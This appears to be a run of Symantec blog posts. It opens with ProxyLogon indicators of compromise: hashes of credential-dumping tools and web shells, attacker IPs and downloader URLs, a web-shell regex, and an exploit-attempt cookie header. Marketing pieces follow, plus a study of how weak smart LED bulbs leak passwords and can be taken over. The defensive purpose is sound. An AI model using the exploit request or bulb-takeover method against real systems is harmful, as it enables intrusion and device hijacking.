Hash ad6d269dfd1ecb41c198879b19349361b5aa0fa73c00641347b173ef41beca88 ss64.exe Mimikatz
Hash b82223d514f145005bf5d2d4f8628d1e5306b38ccefda193ee60e2741f90eae6 ml64.exe Mimikatz
Hash 16f413862efda3aba631d8a7ae2bfff6d84acd9f454a7adaa518c7a8a6f375a5 pd.exe ProcDump
Hash e2a7a9a803c6a4d2d503bb78a73cd9951e901beb5fb450a2821eaf740fc48496 pd64.exe ProcDump
Hash e2a7a9a803c6a4d2d503bb78a73cd9951e901beb5fb450a2821eaf740fc48496 procdump64.exe ProcDump
Hash 3337e3875b05e0bfba69ab926532e3f179e8cfbf162ebb60ce58a0281437a7ef psexec.exe PsExec
Hash fc7c0272170b52c907f316d6fde0a9fe39300678d4a629fa6075e47d7f525b67 a079b04ae1b9a4f0e0f069f1d0076fea ShellcodeLauncher
Hash 5a3f0b0929bfc626012f45ce80d4316497c676e1e639bc3b241d5e9b5f113899 q.exe ShellcodeLoader
Hash 95f724246339cacaf07600d848a74abf651fcc447b2d2b047bfd5524eb00c843 shellcode.cpl ShellcodeLoader
Hash 1e7d4c97ed45db02d434e9d75ce51b2f94a575d8613966ab33a514836e3e80ef wa.exe Stowaway
Hash 0291c1f65851f6c43453454e2e04c559693dba37c71482da63221612791782c6 auth.aspx Web shell
Hash 0291c1f65851f6c43453454e2e04c559693dba37c71482da63221612791782c6 serverrequirementresources.aspx Web shell
Hash 0c5145a146c59fbfb9ab59a40602f01c2d2ee507c81c09dbc48e92cddd6929ed owafont.aspx Web shell
Hash 0c5145a146c59fbfb9ab59a40602f01c2d2ee507c81c09dbc48e92cddd6929ed owafont.aspx Web shell
Hash 2230352407f3e81b37f572ca8269f854df889977e45c79dc40b17b0b75ed9a62 index.aspx Web shell
Hash 3377a844cd3855099d37b3d261537a84f0cad37cec9f3586755b7a03e046a15d template.aspx Web shell
Hash 450deff4be85be401ecc312abd5ca6ea2a6c1b252c8c3d6159b1a8766db75efb defate.aspx Web shell
Hash 58fea882b2587f37df929ea3760ac840ad3ed9dd6f96bc01c9b56a90c377b1dc aspnet_client.aspx Web shell
Hash 58fea882b2587f37df929ea3760ac840ad3ed9dd6f96bc01c9b56a90c377b1dc aspnet_client.aspx Web shell
Hash 5a1f3e2eb49b28e8a185cbff52ba2493ae3116eac0c7c24a13d476fbac07c7b6 admin.aspx Web shell
Hash 5ef3f9b43c897fb11cf74848ec92da3741958acbc84413d6975a57bb0e7bbde8 xxo.aspx Web shell
Hash 65c9b651fb8561f66aa1ab12c86c8f5a75e29c076355d41d29210f944a2672b2 premium.aspx Web shell
Hash 77c34b8d251b3fc3347daaed359a02be7779feb3f2febe16986a5ccf66a53685 oa.aspx Web shell
Hash a1239408c8711423966a3f5b627684358178856880fabe4ee2d1ca95b8a95fd0 lgnright.aspx Web shell
Hash b234115d602683274ebe252469244b2f2107b8d140a50300f6d1eb3777f72b65 logonin.aspx Web shell
Hash c002c59cc3e41f984f91e5b4773085c7ec78c5dddec5e35111a3dadc22cb2d6e help.aspx Web shell
Hash c07cc4b59303a4b3223eba95060fa5c44a357f93c3a9ff73577d3296027cf01b flogon.aspx Web shell
Hash c1f43b7cf46ba12cfc1357b17e4f5af408740af7ae70572c9cf988ac50260ce1 tunnel.aspx Web shell
Hash c781c5755ed26a5b4251521bd43e72972ca9eaf6e9eceb163c269da67216bfb0 ppp.aspx Web shell
Hash cd07bb09c3a955843d2179f4e5eee618ece20def911dc59fafbaa268c8558a7f ee.aspx Web shell
Hash da0e5f7af9c96c2c8d2ba72b393dce05df1ba0bac746010a380a1f0eb11de6d7 1.aspx Web shell
Hash e5f98a1b0d37a09260db033aa09d6829dc4788567beccda9b8fef7e6e3764848 flogonerrore.aspx Web shell
Hash f26da6bd8107aca72ce976e2f12bcf688952c5f1fd84d71eaf6fd66d9ccecbcc log0n.aspx Web shell
Hash fa797791bbba7d48ddd4213de87d190355c6d50cffea0ba2f76c8fb10a269a3d timeoutlogon.aspx Web shell
Hash 6a0faa5fc3db4df86db34368ac214b4a45c9ad3e14acff75c1a43556f0673fff pop.aspx Web shell
IP address 89.34.111.11 BITSAdmin downloader
IP address 139.180.223.203 Chisel
IP address 154.83.16.122 PowerShell downloader
IP address 43.254.216.136 PowerShell downloader
IP address 45.133.119.141 PowerShell downloader
IP address 45.249.244.118 PowerShell downloader
IP address 86.105.18.116 PowerShell downloader
IP address 94.177.123.16 Sok
IP address 152.32.174.110 Stowaway; certutil
URL http://api.onedvirer.xyz/api/read PowerShell downloader
URL http://api.onedvirer.xyz/api/write PowerShell downloader
ProxyLogon
File indicators
The following regex can be used to help identify suspicious aspx/webshells:
.*(\\aspnet_client\\|\\owa\\auth\\|\\ecp\\auth\\).*\.aspx
Network indicators
A HTTP GET request for /owa/auth/x.js with the following cookie header set may indicate a possible exploit attempt:
X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3
Log file indicators
Check for CMD output in Exchange’s ECP Server logs:
S:CMD=Set-OabVirtualDirectory.ExternalUrl=
Check IIS web server logs for following URI path:
/ecp/DDI/DDIService.svc/SetObject
Microsoft Scanning Tool
This tool allows you to scan your Exchange Server logs to determine if your server was compromised.
https://github.com/microsoft/CSS-Exchange/tree/main/Security
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How Symantec XDR Expands, Accelerates, and Simplifies Cross-Control-Point Visibility
New SES Complete feature delivers on the promise of XDR
As customers look for advanced detection and response, an XDR (Extended Detection and Response), that can deliver high-confidence threat-attack analytics simply and cost-effectively, has become table stakes for today’s enterprise SOCs. That’s why Symantec, by Broadcom Software, is releasing a new XDR feature that works out of the box, without additional integrations or services. It does not require the purchase of an additional product because it is an integral part of Symantec Endpoint Security (SES) Complete.
We’ve taken our time with this new functionality because there’s a lot at stake: complex IT infrastructures; cloud and hybrid applications; security tool expansion; ballooning security budgets; and threats that are increasingly sophisticated. With these challenges, we’ve heard a lot about where true value is needed.
As a starting point, our customers have told us that when it comes to XDR, they have many options. Almost every security vendor has an XDR product. But no XDR offering available is the same. Customers struggle with comparing options and understanding what they’re getting. Would their purchase duplicate existing security capabilities, or does it fill existing detection and response gaps? And what is the final cost after all the extra expenditures for setup and integration?
An XDR should work well right out of the box and mesh with existing SOC solutions.
The last thing SOC teams need is unnecessary complexity from an XDR. But that’s exactly what they get from vendors who require partner integrations, introduce technical incompatibilities, or offer complex user experiences that escalate into higher costs or custom development to deal with issues such as multiple data schemas or hash formats.
An XDR should work well right out of the box and mesh with existing SOC solutions. And ideally, an XDR should be cost-neutral, cloud-based, and baked into endpoint security. Functionally, Forrester analyst Allie Mellen has written that XDR should “automate root cause analysis across integrated telemetry sources.” It’s that last part where many XDR solutions fall short.
Symantec’s new XDR feature does all this and more. It performs automatic correlations before an analyst even sits down to investigate alerts. And rather than require additional integrations or services, the product works on top of Symantec Endpoint Security Complete to natively correlate threat data across multiple controls. There are no additional costs.
What Makes Symantec XDR Different?
Symantec eliminates setup time and effort. Unlike competitors’ hybrid models that calls for multiple integrations among many vendors and service providers, Symantec architects XDR into its already highly-awarded, full feature endpoint solution. All integrations across control points are fully operational from day one so advanced threat detection can begin immediately. There is little to no latency time before the SOC team can get up and running.
Symantec XDR’s rich cross-control-point connections are achieved via two Symantec integrations. The first assimilation is with the powerful SES Complete which includes Adaptive Protection, Threat Defense for Active Directory and Threat Hunter, as well as a firewall, and an intrusion prevention system. And the second synthesis is with the dynamic and far-reaching Symantec CloudSOC CASB, which provides access to data on user behaviors, insights on intruder exposure to confidential information via DLP, visibility into email threats and a view of the external domains touched by intruders before they entered the environment. Any resulting incidents are context rich and encompass inputs from all of these control points covering both managed and un-managed endpoint sourced data.
Symantec XDR makes deployment simple. It’s as easy as entering your product key into the platform. No additional vendors, products and service providers are required to make XDR work; Symantec is your single vendor for XDR. Also, there’s no need to invest in orchestrating a complex new architecture; everything is ready to use and ready to apply to your environment. Ultimately, there’s less time spent on installation and integration and more time focused on advance detection and response.
Symantec XDR is offered as a feature of SES Complete. There is no additional premium. XDR is achievable without the need for additional budget allocations beyond the underlying control points. As a result, the financial commitment for executing XDR is predictable, and there is no need for additional budget negotiations.
What are the Use Cases for Symantec XDR?
Many organizations lack visibility into their SaaS apps. Some analysts must sort through logs manually to conduct a thorough investigation. Companies that embrace Symantec XDR will find that they are able to close that gap.
Your SOC analysts don’t need more consoles or the annoyance of working on multiple interfaces, and they do need greater visibility and timelier insights. Symantec XDR’s cross-control-point integration matters because it provides much-needed efficiency and visibility into identity, data exfiltration, network activity, unmanaged endpoints, and questionable user behaviors. This integration happens automatically and without extensive DevSecOps intervention. When customers adopt Symantec XDR, they do not face unwanted data integration and SOC complexity, and they are able to:
See the full attack chain beyond the endpoint by including activities from network, email, and cloud services
Determine if an attack was successful by detecting suspicious user behavior with cloud services
Identify the scope of a breach by detecting sensitive data access and exfiltration using Data Loss Prevention (DLP)
Symantec XDR is simple. It provides the artificial intelligence (AI) and machine learning (ML) to mine for valuable insights across controls. In short, it means more signal, less noise, and faster mean-time-to-detection. It is designed to augment rather than replace SOAR or SIEM. And while it does, it addresses the growing data volume, integration and cost burdens that come with the use of these tools.
Symantec XDR is also cost effective. It provides extensive cross-control-point protection, plus specific capabilities, such as AI-powered data normalization and correlation, featuring behavioral and targeted attack analytics. It connects data from diverse security control points covering both endpoints and cloud services, as well as extensive threat intelligence, and it gives visibility into activities from both managed and unmanaged endpoints. With these extensive capabilities, Symantec XDR is pulling ahead with an integrated, cost-effective solution for improving the identification and response to advanced threats.
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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How Symantec’s Email Fraud Protection Keeps Your Company Safe and Secure
The very things that make email such a potent business tool also make it vulnerable to spam, malware, ransomware and impersonation attacks
Email is your company’s best friend, and also its greatest threat. The very things that make it such a potent business tool — its ease of use and ways it can be used to communicate and collaborate — make it vulnerable to phishing, malware, ransomware, impersonation attacks, and spam.
Every year, protecting email becomes harder, because attacks are becoming more sophisticated. Now, determined attackers spend time on reconnaissance activities, to attack specific individuals with highly crafted emails. If these targeted individuals take the bait, then they can unwittingly bypass security systems. And the scale of attacks has grown exponentially. Email is the top attack vector used by Targeted Attack Groups according to Symantec’s Internet Security Threat Report When it comes to impersonation attacks, the losses companies suffer as a result are considerable – more than $12.5 billion and growing at an alarming rate, according to the FBI.
Businesses are also harmed in ways that transcend the financial. Consider Business Email Compromise attacks, in which an attacker sends an email impersonating a company employee. What should an employee do when she gets an email from what appears to be a business’s Chief Financial Officer, asking for another employee’s tax records, or to make a financial transaction? She doesn’t know if it’s a legitimate request and whether to act on it. Businesses run on trust; trust which is severely eroded by impersonation attacks.
Even more harmful is the way in which email attacks can destroy the reputation you have with consumers and business partners. That can happen when an impersonator sends out emails that appear to be from your organization but are used to attack your customers by sending dangerous attachments or routing them to a malicious web site to steal information from them. The damage to your brand’s reputation can be enormous – and trust, once lost, is hard to regain.
In general, organizations face these three types of email security problems:
How do you trust the sender of an email?
Is a link safe? If you don’t know, what can you do to make it safe?
How can you be sure that email is effective in securing your wider organization?
In the rest of this blog post, I’ll explain why they’re serious issues, and how Symantec’s Email Security solution which includes Email Fraud Protection, Email Threat Isolation and Email Threat Detection and Response solves them all.
Who Can Be Trusted?
Whether you should trust the sender of an email is a complex problem. You know you should only trust email from legitimate senders, but it can be extremely difficult to identify which are legitimate and which aren’t. That’s because many third-parties, use marketing automation tools that legitimately send email from an organization’s domain. This open approach to sending email on other domains lends itself to email being hijacked by imposters.
This problem affects not just recipients of emails, but businesses doing the sending, who want to make sure their emails aren’t used to attack their customers and business partners. An important defense against this is to publish a list of all approved senders (organizations that issue email from your domain), using sender authentication standards such as DKIM, DMARC and SPF. Using this published information, recipients can determine which email sender to allow or block — and businesses can stop malicious email being sent from their domains.
But the vast majority of organizations haven’t been able to enforce these standards. The task of enforcing sender authentication is complex and high stakes. You need to ensure changes to DNS are accurate and kept up to date, a task complicated as you need to track multiple senders and their underlying email sender details (e.g. IP addresses). Overstretched security and messaging teams often don’t have the necessary expertise or resources to do it.
Symantec Email Fraud Protection solves the problem by automating and maintaining the use of such lists. Firstly, it helps you audit who is sending email on your behalf, allowing you to confirm that these senders are legitimate. Once identified, you can authorize all legitimate senders, and use Email Fraud Protection to maintain this list. Incidentally, Symantec will also monitor the underlying email services used and keep these detailed records up to date. Now, a single DNS change enables you to attain, and maintain, sender authentication; drastically reducing the amount of staff time needed while achieving enforcement in a considerably shorter timescale.
Is That Link Safe?
Many attacks use email to send links to websites that either infect the user’s device or attempt to steal their credentials. It’s especially difficult to protect against this, because some sites are “grey websites”, i.e. websites that cannot yet be classified as simply good or bad. This may be because a website is new (so doesn’t have an established reputation), or is involved in sending spam (not necessarily bad) or is in a dormant state before becoming weaponized. This presents a classic security dilemma. If safe websites are blocked, then people’s productivity suffers, and their frustration levels increase. The challenge is to find a way to make email links to grey websites safe.
Symantec Email Threat Isolation does this by incorporating Symantec’s website isolation capability. When a user opens an email link to a potentially risky website, the site is run in a secure, isolated container. That lets the user click on links to risky sites but keeps malware away from users and their devices. Moreover, risky downloads hosted on these links are scanned to ensure they are safe before being sent from the isolated container to users. An additional benefit is that these websites can be run in a ‘read-only’ state, safeguarding the end user from credential phishing attacks.
Is Email an Effective Component of My Wider Security System?
Email security doesn’t live in isolation. It needs to be an integral part of an enterprise’s entire security system. That’s best achieved with the right analytics, so your team can focus on the most pressing email issues and apply that towards wider threats impacting the organization.
Now you can integrate Symantec Email Security with Symantec Information Centric Analytics to fully appreciate security and user-based risk. Already, the Symantec email security solution provides a broad range of analytics (more than 60 data points) to help messaging and security teams improve security. You can feed the email analytics we provide into a wider security management system, such as security information and event management software (SIEM), an advanced threat protection system or your Security Operations Center (SOC). In addition, the integration with Symantec Information Centric Analytics builds a complete view, bringing together other security data feeds, and user behavior analytics to give a full, risk based view on threats - allowing you to assess what threats are active so you can protect against them.
Read more about all of Symantec's Email Protection Products and Services
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How the Cloud Generation is Shaping Federal IT Modernization
Modernization and the mobile workforce are driving a new security paradigm
Baby boomers and millennials.
These two generations have become the focus of government agencies in recent years, and with good reason. The baby boomers continue to retire, leaving a knowledge gap in government operations, while millennials continue to enter the workforce, bringing new skill sets but also unique needs.
For all the differences between these two groups, they do have one thing in common that is driving a third group that government agencies need to focus on above all others: They have become the cloud generation. Now, the cloud generation cannot be found in the Census or any official designation of generations. Instead, it is a way to think about today’s workforce. The cloud serves as a common denominator between these two distinct groups.
The cloud generation is everyone who lives and works in this unique era, as computing breaks the boundaries of desktops and data centers to embrace the mobile, social, global, crowd-sourced, always-on realities of modern life. It is people that embrace new technologies and want to access data wherever they are, whether that be at work, at the airport or on their living room couch.
To prepare for the future, federal agency technology leaders need to ensure technology solutions can meet the needs of these employees, and the citizens they serve, in a safe and secure way. As the federal government undertakes its information technology transformation path as outlined in the IT Modernization Report, technology leaders have the unique opportunity to modernize systems to meet the specific needs of the cloud generation.
Solutions for the Cloud Generation
Cloud computing and the way data is now accessed has fundamentally changed the protection landscape. Federal agencies were once able to create a secure perimeter over their networks. As long as that network perimeter remained secure, agencies could be assured that the data inside it was protected as well.
This perimeter existed before the emergence of the mobile workforce in government. When employees could only work on a computer at a fixed desktop or through a tightly secured internal network, this configuration was effective. Now, though, controls need to follow the data, wherever it goes. As such, agencies need to look to end-to-end solutions that provide visibility into how data is accessed, where it is accessed and who is accessing it. This can help agencies limit unauthorized access to data, protect data integrity and stop unlawful users from accessing data to be used in harmful ways.
Cloud security has evolved to act in ways similar to the perimeter-based security agencies are accustomed to. Instead of protecting an area, these solutions protect the data. If an agency employee, for example, wants to access the data at his or her home to run an analytical model, they can. The data will remain secure as part of the integrated cyber defense architecture.
These evolved security capabilities are available with the right solutions provider. While cloud companies integrate security into their offerings, they are not technically responsible for that risk, which falls back on the government. Federal agencies need to take extra steps to ensure their cloud environments have the best security tools available in order to ensure protection at the data level.
Agencies need to talk to leading security solution providers to discuss these new security architectures, which are generally implemented as cloud security gateways (CSGs) with varying security controls and integrations, enabling layered cyber security, implementing defense-in-depth for cloud applications, and enhancing access controls.
This cloud-native security “stack” is an intelligent control point, enabling broad network access and scalability. It is the virtual broker for all communications interacting with shared, commercially-available, cloud-native applications, while also securing Internet access and email. This type of security helps federal agencies go beyond TIC and EINSTEIN to provide an additional layer of protection in commercial cloud environments.
Moving Forward
The federal government is in the midst of a fundamental change. Weighed down with legacy systems the IT modernization movement looks to not only eliminate older systems, but fundamentally change how government operates. With technologies like 5G soon coming federal agencies will see even more change. They must make sure their systems are ready.
The cloud generation is here to stay. Federal technology leaders need to think about how they can best support employees and the new mobile workforce. The focus on federal IT modernization can help to accelerate this transition, but it needs to be implemented in a thoughtful, strategic and, most importantly, secure manner.
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IT Modernization and the New Perimeter
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How the Grinch Stole Your Christmas Lights: Leaky LED Bulbs Could be Remotely Controlled
Unsecure LED light bulbs could be remotely hijacked and potentially leak your password.
Internet of Things (IoT) devices for the home continue to be popular, and many people may be considering buying more smart home gadgets this Christmas. It seems that every device now has a smart version that can be integrated into the home network, from microwaves to showers, from heating to smoke detectors.
Symantec constantly analyzes the risks associated with IoT devices and their various possible attack vectors. Recently, while looking at new threats to IoT devices, we came across some security issues in a remote-controlled, full-color LED light bulb. It’s a low-priced brand that can be bought at many online stores and is easy to use and integrate with popular voice-activated smart assistants. In order to set up and use the light bulb to its full extent, the user has to install a smartphone app and create a free account. The light bulb will then be added to the local Wi-Fi network and can be controlled remotely through the internet.
"How the Grinch could steal your Christmas lights: By remotely hijacking smart LED bulbs & leaking passwords https://symc.ly/2Lpk0JU"
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Leaking the login
The first thing we noticed while analyzing the network traffic was that the smartphone application was mostly using plain HTTP requests to interact with the backend in the cloud. Only a few requests, for example to register a new user or to log in, were sent encrypted over HTTPS.
Unfortunately, some of the unencrypted requests contained a lot of private information. For example, when the user decides to change the internal name of a light bulb, an unencrypted POST request is sent with the user’s email address in cleartext and the MD5 hash of the unsalted password. This means that anyone with access to the network could potentially sniff this traffic and brute-force the password hash. If the password is not very complex, there is a very good chance for the attacker to crack it. To make matters worse, the application does not provide an option to change the password; once the user has chosen one, it is fixed. Equipped with this data, an attacker could log into the account and take over all of the user’s light bulbs.
Unfortunately, some of the unencrypted requests contained a lot of private information. Anyone in the network path could potentially sniff this traffic and brute-force the password hash.
This is not the only device where we have seen information being sent in cleartext. Unfortunately, the use of unencrypted traffic is still very common with many devices and applications.
Figure 1. POST request leaking private information
Finding other users
The API on the backend allows a user to find the user account that is associated with a specific light bulb by sending the MAC address of that device. There is no verification to determine whether the user account used to query a device is actually associated with that device. Therefore, an attacker only needs an active session that has already been authenticated, and can then guess or brute-force the MAC address of a target device.
This method allows an attacker to enumerate all possible MAC addresses for the vendor in question and find any light bulb that is activated and remotely controllable. For each device that is found, the attacker receives the unique ID and the user’s email address in cleartext. The request is a simple GET request over plain HTTP. An attacker could use this trick to gather valid email addresses and use them in further attacks, such as spam, or use the gathered information to attack the light bulb itself.
Figure 2. Device enumeration leaks email addresses
Turning off the lights
Once a remote-controllable device is found, an attacker can interact with the device. This action does not require knowledge of the password. Similar to the enumeration weakness, all that is required is an authenticated session and the MAC address of the device. Each light bulb can be controlled by multiple users and can therefore also be linked to multiple accounts. Once the connection is established, the attacker can turn the lights off or on, change the color, or rename it. The attacker gains full control over the lights, just like it was their own home.
The vendor did previously upgrade the applications to use a more secure API function that requires a security token. Unfortunately, for legacy reasons, the old API is still accepting the unsecure requests.
Once the connection is established, the attacker can turn the lights off or on, change the color, or rename it. The attacker gains full control over the lights, just like it was their own home.
Conclusion
This is just one example showcasing that there are still a lot of simple security gaps within IoT devices that need to be fixed. Fancy exploits are not always required to take over such devices. Sometimes, as demonstrated in this case, simple design mistakes can be enough to expose users’ private data and devices to the public internet. Anyone could have taken over these smart light bulbs and controlled them. As of this writing, we do not have any indication that these devices have been exploited in the wild.
We have reported all findings to the manufacturer. Other researchers have also found related issues with similar products. And of course, there are more possible attack vectors, even with these light bulbs, that we have not covered in this blog.
Mitigation
Buyers of such IoT devices need to be aware of the potential risks they expose themselves to. As attacks go, having your smart light bulbs remotely controlled by an attacker might not be so severe, but it could be unsettling nonetheless, and it could be only the first step in a bigger attack scenario. Thus, make sure to follow some of these basic guidelines when installing smart devices over the holiday season, so attackers will not be able to turn off your Christmas lights:
Change any default passwords during installation.
Use a dedicated account with a strong password to set up the devices.
Update the firmware and the smartphone apps whenever there is a new version released.
Consider whether the device needs internet connection or the local network is sufficient.
Verify if the configuration of the device matches your needs.
Turn off unused or unwanted features and services, like remote control.
If you reside in the United States or Australia, consider using a secure router like Norton Core, which can help secure your home network, and all the devices on it, against attacks..
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How the Right SIEM Pricing Model Improves SecOps
And Why In-Depth Analysis Matters
The success of your SecOps team depends in no small measure upon their data access, training, and the quality of their analytical tools.
Equipping and training your security analysts to work with Security Information and Event Management (SIEMs), or Security Orchestration, Automation and Response (SOAR) tools are vital moves but alone cannot guarantee success. The third variable is a bit of a wild card and can be an expensive one at that. In a typical SIEM, the more event data you ingest, the higher your bill. These metered, volume-based pricing models discourage SecOps from ingesting all available security data for analysis — forcing analysts to make do with less.
The most effective security teams I’ve seen demand almost unlimited data access. Does such an economic model exist? Happily, yes, and more on that in a moment.
Applying Exabeam’s Data Lake, Advanced Analytics can not only capture more insights it can also prioritize data loss prevention (DLP) alerts based on high risk use or asset behavior and surface those to an analyst.
First, let me explain why this in-depth analysis matters, at least from my vantage point as a Symantec TIPP Partner. Exabeam’s Security Management Platform plugs into Symantec products such as Integrated Cyber Defense Exchange (ICDx) to collect log data, apply behavioral analytics to detect complex attacks, and automate incident response, both on-premises or in the cloud. We conduct behavioral analytics to identify both known or unknown threats — such as attacks with no detectible signatures. We also find threats that span many different data silos — from endpoints to cloud services.
Second, it stands to reason that the less event data you analyze, the less you know, and the higher your risk exposure. Thus, analysts may not be able to find or respond to anonymous intruders who steal data or deliver malware to your network. Applying Exabeam’s Data Lake, Advanced Analytics can not only capture more insights it can also prioritize data loss prevention (DLP) alerts based on high risk use or asset behavior and surface those to an analyst.
Third, higher productivity SecOps teams drive greater cost savings. Exabeam’s Incident Responder enables automated responses when we find a threat. Analyzing log data, we may detect a threat, then contain, quarantine, investigate, or mitigate a threat using automated response playbooks.
The Right Model
We’ve moving away from a traditional SIEM model, a correlation and rules-based engine, which tends to find only known threats and requires a lot of maintenance. Our SIEM is built on an analytics platform: We apply machine learning to baseline how all users and machines act on your network, recording and noting any deviations from normal activity. This capability, known as User and Entity Behavior Analytics (UEBA) helps identify unknown and insider threats. UEBA enables us to not only review all anomalous behavior it also reduces the occurrence of false positives — incidents that stifle SecOps team productivity.
We are built to scale because our Security Management Platform employs ElasticSearch with a flat pricing model. That allows our customers to look at tons of data without sweating the cost. We charge based on the number of users, which is not a metric that changes very rapidly. Customers tell us we have turned the SIEM pricing problem on its head.
Once you turn away from volume pricing, Exabeam’s centralized approach and console enable your team to pull in ample event data, apply Advanced Analytics, and hunt for threats. Unlike manually-intensive, legacy SIEMs, which require analysts to determine asset ownership and build incident timelines, Exabeam automates that discovery process to enable faster mitigation. Exabeam pushes actions to other systems such as active directory, or your email servers, or security products such as those produced by Symantec, to achieve an automatic response.
A Great Partner
Symantec ICDx opens the flood gates of valuable security data available to security teams from Symantec products. Exabeam’s flat pricing model makes it possible to log and store it all in a SIEM without having to swallow a giant bill. It also allows SecOps teams to spend their budget in more productive ways. Discover more about Exabeam’s Security Management Platform and Symantec's ICD Platform.
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How the Security Industry Can Avoid Groupthink
With the big RSA confab just a week away, executives say the security industry is approaching a pivotal point where now’s the time to take steps to diversify its composition
When it comes to matching wits with attackers who aren’t boxed in by rules and reputation, why not borrow a page from the adversary and think outside the box?
That may sound like boilerplate advice. But in an industry where most folks often look alike, it can be a challenge not to also wind up thinking too much alike.
All the more reason why several leading executives say now’s the time for the security industry to do a lot more outreach to add voices and perspectives that have been left out of the security conversation until now.
“We’re in a field that really depends on diversity of thought,” said Hugh Thompson, Symantec’s Chief Technology Officer.
With the annual RSA security conference just a week away, Thompson and other members of the RSA board of advisors gathered recently to talk about how to diversify the ranks of the security industry to challenge convention – a goal that Thompson said can become “one our greatest weapons” against attackers.
That message comes as a survey that Frost & Sullivan conducted on behalf of Center for Cyber Safety and Education and the Executive Women's Forum on Information Security found that women comprise just 11% of the U.S. information security workforce, the same percentage it was in 2013. Meanwhile, the Bureau of Labor Statistics estimates the percentage of African-Americans in the industry at 3%.
“There’s no question that as an industry we have a lot of work to do here,” said Dmitri Alperovitch, the co-founder and CTO of CrowdStrike Inc.
“It's absolutely critical,” he said. “The enemy is only getting more ingenious and entrepreneurial. And we need all the talent we can harness as an industry to face these threat actors - and for that we need a diverse workforce. That includes woman and other minorities as well.”
Alperovitch and the other board members participating in the talk underscored the importance of alternative or even dissenting perspectives. They said it was another way to avoid groupthink and force security teams to revisit old assumptions about the way that attackers may try to penetrate their organizations.
In the end, they agreed that hiring a more diverse workforce is going to be in the security industry’s enlightened self-interest.
“It’s not just important to have diversity of thought in doing defense - but also, we need to remember that the community of technology users that we’re serving is global now,” said Wendy Nather, Principal Security Strategist, Duo Security.
She harkened back to the earlier era of the security business, when the industry was a relatively small and homogeneous community in which “everybody had pretty much the same background and level of knowledge and understanding.”
“Those days are long, long gone and you need to consider not just what we are bringing to customers and users in terms of technology,” she said. “In order to make the best user experience and the most effective security that (customers) will want to use, we have to represent and keep researching that diversity of thought and bring those diverse voices in. Representation matters. Not in the sense of saying, look let’s celebrate female CISOs - because that says what, as opposed to `regular’ CISOs? We don’t want to treat people as others or exceptions. We want this diversity to be so unremarkable in the future that there’ll be no point in remarking on it.”
Fellow board member, Benjamin Jun, CEO of HVF Labs, suggested that security companies which move more rapidly to diversify also are more likely to get a leg up on their competition.
“Our job is to avoid bad things and so we have to look at all facets of the problem,” Jun said, noting that security threats are generally hard to sniff out.
“The job of everyone on this board is to find corner cases where something is going to go awry and so on a daily basis, we are constantly triaging this information. How can we give each piece of information, each observation, the correct level of attention given the fact that we have hundreds of these things? It is by doing this better that we’ll win. As an industry, we’re going to fail if we don’t keep our eye constantly focused on this topic.”
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How the Stars are Aligning Around Zero Trust
The proper implementation of Zero Trust depends upon a well-defined strategy focused on a holistic approach towards protecting your data wherever it resides
It’s no surprise that organizations moving to the cloud are looking at Zero Trust. Zero Trust provides a model for designing networks and systems to address the modern threat landscape. It is based on the concept of least privilege, which calls for limiting access rights to users to the bare minimum that they need to accomplish their specific tasks.
Put simply, the objective of Zero Trust is to strengthen an organization’s data security by limiting the risk from excessive user privileges and access, using a series of controls to ensure threats cannot move laterally within an enterprise’s infrastructure. As a result, granular access policy enforcement based on user context, data sensitivity, application security, and the device posture, becomes a critical component of any enterprise’s Zero Trust architecture.
Over the past 24 months however, the stars have aligned around Zero Trust.
As I’ve noted in this space before, Zero Trust was first introduced by Forrester Research a decade ago. It challenged the existing perimeter-based network security paradigm. It argued that not just the perimeter, but everything in the network needed to be locked down to be protected and secured, highlighting the specific risk of lateral movement within a network once a perimeter is breached. While great in theory, the concept proved difficult to implement given the security technologies available at the time.
Over the past 24 months however, the stars have aligned around Zero Trust. It has evolved beyond a theoretical and traditional network-focused paradigm, leveraging innovative security advancements to create a very practical framework for rethinking security architectures to address use cases, IT architectures, compliance requirements, and advanced threats that didn’t even exist 10 years ago.
A New Framework for Security
This new framework is a significant extension of the original Zero Trust construct and is called the Zero Trust Extended (ZTX) ecosystem model. This model, championed by Forrester Research, is still grounded in the idea of securing your data, but is broad enough to cover it wherever it flows – on-premise network, cloud infrastructure like Azure and AWS, SaaS applications like Slack, the broad Internet/Web, and all devices - traditional and IOT. Whiles comprehensive, it is also pragmatic. The ZTX model provides a series of architectural blueprints and security capability mapping tools that CIOs and CISOs can use to guide the investment and implementation of their Zero Trust security strategies.
The Forrester Wave™: Zero Trust eXtended (ZTX) Ecosystem Providers, Q4 2018
Forrester’s Zero Trust extended Ecosystem model covers seven key interrelated areas that need to be considered to secure data as it flows through traditional networks and the emerging cloud-based world. Starting with the data itself, the model follows that data as it logically flows into the traditional network, continues into workloads deployed in public and private clouds, as its shared across multiple devices, and acted on by people. The model also highlights the important role of maintaining visibility on data interactions across an enterprise’s entire IT infrastructure, and the critical role orchestration and automation can play in successfully operating a Zero Trust security infrastructure.
But understanding concepts is one thing, proper implementation can be more challenging. And increasingly, organizations are asking, ‘How do I start?’
Define Your Zero Trust Strategy
The best way to answer that question is to take a holistic approach, aligning a well-defined strategy with practical design and implementation blueprints that will achieve the desired Zero Trust outcomes. Since Zero Trust is all about controlling access to data wherever it resides, a great place to start is to think strategically about what data is the most sensitive, and which systems and devices that process this data are most critical and create a game plan to implement Zero Trust in these high priority areas. Once you nail your strategic priorities, you will have an easier time focusing in on the key capabilities, technologies, and features you will need to deliver on your objectives.
That said, I am seeing organizations head down one of two paths as they begin their Zero Trust journeys: one broad-based and one more limited or narrow. The broad-based approach is favored by CISOs and CIOs who realize their organizations need to rearchitect their security infrastructure across a number of areas, and see ZTX as a practical framework to deliver the new security architecture needed to protect the organization.
The second, more narrow approach focuses on improving access control to a limited set of systems and data that the organization believes is most vulnerable and/or critical to the business. For some organizations, that could be focused on strictly limiting application access to authorized users on authenticated devices. For others, it might involve encrypting sensitive data that is placed in the public cloud and, in some situations, ensuring that certain types of information – such as health care data – is never stored there in the first place.
Interestingly, I’ve observed that the first step of most organizations, whether they are going broad on Zero Trust or taking a more surgical approach, is to start their work in the area of access control and identity management. It makes sense, Zero Trust is all about protecting data and the systems where it resides, so limiting who can access what data on which systems is a great first step.
Prioritize Your Capabilities
